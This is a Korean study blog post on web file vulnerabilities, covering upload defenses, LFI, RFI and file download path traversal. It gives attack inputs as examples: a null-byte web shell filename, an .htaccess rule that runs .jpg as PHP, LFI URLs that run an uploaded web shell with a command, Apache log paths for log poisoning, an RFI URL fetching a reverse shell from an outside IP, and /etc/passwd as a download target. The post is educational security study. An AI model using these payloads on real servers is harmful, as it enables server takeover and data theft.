-
File Include / File Download [15주차]모의해킹스터디5기(feat.Normaltic) 2024. 2. 21. 02:03
지난 시간 파일 업로드 공격에 대해 배웠는데, 이번에는 File Include, File Download, 그 외에 대응 방법들도 정리하며 파일 부분을 마무리해보겠다.
File Upload
지난 시간에 파일 업로드 공격의 정의에 대해 배웠다.
공격자가 원하는 임의의 파일을 업로드 하는 공격
여러가지 파일을 업로드하며 공격할 수 있는데, 그 임의의 파일이 서버에서 실행할 수 있는 파일인 경우, 보통 웹쉘(Web Shell)을 업로드한다는 것도 배웠다. 웹쉘이 상대의 서버에서 실행되면 그 서버를 장악할 수 있게 된다. 그래서 매우 위험한 공격이다. 웹쉘과 같은 파일 업로드 공격을 막을 수 있는 방법에는 무엇이 있을까.
File Upload 대응 방안
- 파일 이름 난독화
- 서버에 파일을 업로드해도 실행시키지 못하게 하면 된다.
- 기존에 파일을 실행시키는 방법은? 파일의 경로를 찾아 실행시키는 것!
- 파일의 이름을 랜덤하게 바꾸던지, 파일을 찾아가는 과정에 함수를 추가해 직접적인 경로를 알 수 없게끔.
- ex) files/id/uploads/webshell.php -> files/id/uploads/kDV4euRb2nBfw.php
- ex) files/id/uploads/webshell.php -> download.php?filePath=513
- DB에 파일을 저장
- 결국 파일이 웹 서버에 저장되어 발생하는 문제들이다.
- 파일이 DB에 저장되어 불러올 때마다 DB에서 가져오게 하면 된다.
- DB에 저장 가능한 파일 형식 : BLOB / CLOB
- NAS 서버
- 파일만 저장할 또 다른 공간을 만든다. (DB와 같은 개념)
- WAS와 분리되어 있으니 URL로는 접근할 수 없다.
Image Web Shell 에 대해
지난 시간에 jpg, png 등 이미지 형식의 웹쉘을 업로드하는 사람들이 많았다고 한다. (물론 나도 그 중에 하나였다..)
그 방식 중에 이중확장자(double extension)가 많았다고 한다. 이중확장자란 webshell.php.jpg 처럼 확장자를 이어붙여서 우회하는 방법인데, 결론부터 말하자면 이중확장자는 불가능하다.
이중확장자가 가능한 특이한 케이스가 존재하긴 한다. 웹 어플리케이션 개발 과정에서 파일 저장 기능을 만들 때, 맨 뒤 . 이후의 확장자만 확인하도록 코드를 작성했을 경우다. 이 때는 webshell.jpg.php 로 파일을 업로드할 경우 webshell.jpg가 문자열로 인식된다. 다시 말하지만 매우 특이한 케이스고, 실무에서는 이중확장자를 고려하지 않아도 될 것 같다.
그리고 이중확장자는 아니지만 Null Byte Injection 을 활용한 방식이 있을 수 있다. 이 공격은 리눅스 환경에서 NULL 값이 제거되는 것을 이용한 방법이다. 파일 이름을 webshell.php%00.jpg 로 업로드를 하면 %00 이후의 값이 제거되어 서버에는 webshell.php로 저장되는 공격이다.
마지막으로 .htaccess 라는 웹 설정 파일이 있다. 웹 서버라면 필수로 가지고 있는 파일로, 여기서 서버에서 실행할 확장자를 명시할 수 있다. 여기서 jpg를 php처럼 인식하도록 바꾸는 것이 가능하다. 파일이 저장되는 경로에 .htaccess 파일을 새롭게 만들어서 파일 내용을 AddType application/x-httpd-php .jpg 로 업로드하면 그 후부터 .jpg 형식은 php로 인식하게 된다.
File Include
php에는 include 라는 함수가 있다. 이는 다른 php 파일을 불러올 수 있는 함수다. C에서 import와 같은 개념으로 보면 될 것 같다. 개발을 하면서 점점 커지는 소스코드 때문에 include 함수를 사용하는 경우가 많다고 한다.
File Include 공격은 이렇게 include 함수를 사용하는 페이지에서의 취약점을 이용한 공격이다. include를 사용하는 페이지에서 어떤 형식으로 다른 파일들을 가져오는지 알아낸 후 원하는 파일을 가져오면 된다.
www.filevulnerable.com/board.php?language=ko.php&action=go
예를 들어 위의 웹 서버는 board.php 페이지에서 language 파라미터 값의 파일을 가져오는 취약점이 존재한다. 여기서 ko.php가 아닌 다른 파일을 입력하여 가져오게 할 수 있다.
한 가지 특징은 include된 파일은 무조건 실행을 하고 나서 보여준다는 것이다. 그래서 File Include로는 소스코드를 가져올 수 없다. 소스코드를 실행하고 나서의 결과를 보여줄 뿐이다.
Local File Include (LFI)
File Include 중에서 가져오는 파일이 서버 내부의 파일이라면 LFI 라고 부른다. include된 파일은 무조건 실행을 하고나서 보여준다고 위에서 언급했다. 이 점을 이용해서 또 다른 웹쉘 공격이 가능하다. 서버 내부에 미리 webshell 파일을 업로드해놓고 File Include 취약점이 존재하는 페이지에서 webshell 파일을 가져오면 그 파일의 형식과 상관없이 웹쉘을 실행시킬 수 있다.
www.filevulnerable.com/board.php?language=./files/uploads/webshell.jpg&cmd=ls
웹쉘 파일의 확장자가 jpg 일지라도 그 안의 php 코드를 실행시켜 웹쉘이 실행된다. 이 때 GET 방식의 cmd 파라미터를 추가해주면 그 명령어의 결과를 보여주게 된다.
파일 업로드 기능이 없을 때도, File Include 취약점은 충분히 위협적일 수 있다. 바로 웹 로그 때문이다. 우리의 눈에 보이지는 않는 요청과 코드들이 로그에는 기록된다. 아래는 구글링해서 찾은 웹 로그 사례다.
위와 같이 요청 url을 전혀 상관없는 php 코드를 넣는다면 오른쪽에 보이는 것처럼 404 에러가 나온다.
그러나 이를 로그값으로 확인해보면 그 php 코드의 실행 결과값이 기록되어 있는 것을 볼 수 있다.
어떤 서버든지 로그를 기록하고 보관한다. File Include 취약점을 통해 로그를 볼 수 있다면 공격이 가능하다. 일반적으로 로그를 기록하는 파일의 위치는 다음과 같다.
/etc/httpd/logs/access.log
/etc/httpd/logs/access_log
/etc/httpd/logs/error.log
/etc/httpd/logs/error_log
/opt/lampp/logs/access_log
/opt/lampp/logs/error_log
/usr/local/apache/log
/usr/local/apache/logs
/usr/local/apache/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/etc/httpd/logs/access_log
/usr/local/etc/httpd/logs/error_log
/usr/local/www/logs/thttpd_log
/var/apache/logs/access_log
/var/apache/logs/error_log
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/apache-ssl/access.log
/var/log/apache-ssl/error.log
/var/log/httpd/access_log
/var/log/httpd/error_log
/var/log/httpsd/ssl.access_log
/var/log/httpsd/ssl_log
/var/log/thttpd_log
/var/www/log/access_log
/var/www/log/error_log
/var/www/logs/access.log
/var/www/logs/access_log
/var/www/logs/error.log
/var/www/logs/error_log
– – – – – – – – – – – – – – – – – – – – –
C:\apache\logs\access.log
C:\apache\logs\error.log
C:\Program Files\Apache Group\Apache\logs\access.log
C:\Program Files\Apache Group\Apache\logs\error.log
C:\program files\wamp\apache2\logs
C:\wamp\apache2\logs
C:\wamp\logs
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log출처 : http://blog.plura.io/?p=7602
Remote File Include (RFI)
RFI는 LFI와 반대로 서버 외부의 파일을 가져오는 공격이다. 이 때 보통 공격자의 서버의 파일을 가져오도록 하며 악성 파일을 통해 공격을 시도한다.
www.filevulnerable.com/board.php?language=http://192.168.75.1/reverseShell.php
File Download
File Download 공격은 File Include와 비슷한 맥락이다. 파일을 다운로드 받는 과정의 코드의 취약점을 이용해서 다른 파일을 가져오는 공격이다.
<?php fileName = $_GET['fileName']; download('/files/' .$fileName); ?>
파일을 다운로드하는 코드가 위와 같을 때, 다운로드 받을 파일명에 ../ 를 이어 붙여서 상위 디렉토리의 특정 파일을 다운로드받는 방식이다.
File Download 공격은 위의 다른 공격들과는 달리 코드를 실행시키지는 않는다. 그저 코드를 가져올 뿐이다. 서버 내에서 파일을 실행시킬 수 없는데도 왜 취약점이냐면, 소스코드를 가져오기 때문이다. 소스코드를 가져온다는 것은 그 서버의 다른 취약점을 살펴볼 수 있다는 것이다. 소스코드를 통해 쉽게 찾을 수 없는 SQL Injection이나 XSS의 공격 루트를 만들 수도 있다.
File Download POC 파일
Linux - /etc/passwd
Windows - /boot.ini or /winnt/win.ini
참조
How to Use PHP Include and Require Statements | Scout APM Blog
How to Use PHP Include and Require Statements Mukul Khanna on July 17, 2020 In the realms of computer science and software engineering, reusability and modularity are considered to be important design principles to keep in mind when building software pro
scoutapm.com
LFI to RCE - LFI 취약점을 악용한 원격 코드 실행
LFI 취약점을 이용하여 서버에 임의 코드를 실행할수있다는걸 알고있는가? LFI(Local File Inclus...
blog.naver.com
LFI 대응방안
개요 LFI(Local File Inclusion) 취약점은 웹 브라우저를 통해 서버에 파일을 포함시키는 과정입니다. 이 취약점은 인클루드할 페이지 경로가 적절히 필터링되지 않았고 디렉토리 변경 명령어들의 삽
blog.plura.io
파일 다운로드 취약점(File Download Vulnerability)이란?
파일 다운로드 취약점이란? 파일명 혹은 경로 값으로 전달되는 사용자 입력 값에 경로 이동 문자 혹은 경로...
blog.naver.com
'모의해킹스터디5기(feat.Normaltic)' 카테고리의 다른 글
인증 / 인가 [16주차] (0) 2024.03.01 File Upload [14주차] (0) 2024.02.12 CSRF 마무리 / DDoS [13주차] (0) 2024.02.06 CSRF(Cross Site Request Forgery) [12주차] (0) 2024.01.29 XSS 정리 / Client Script 활용 방법[11주차] (0) 2024.01.16 - 파일 이름 난독화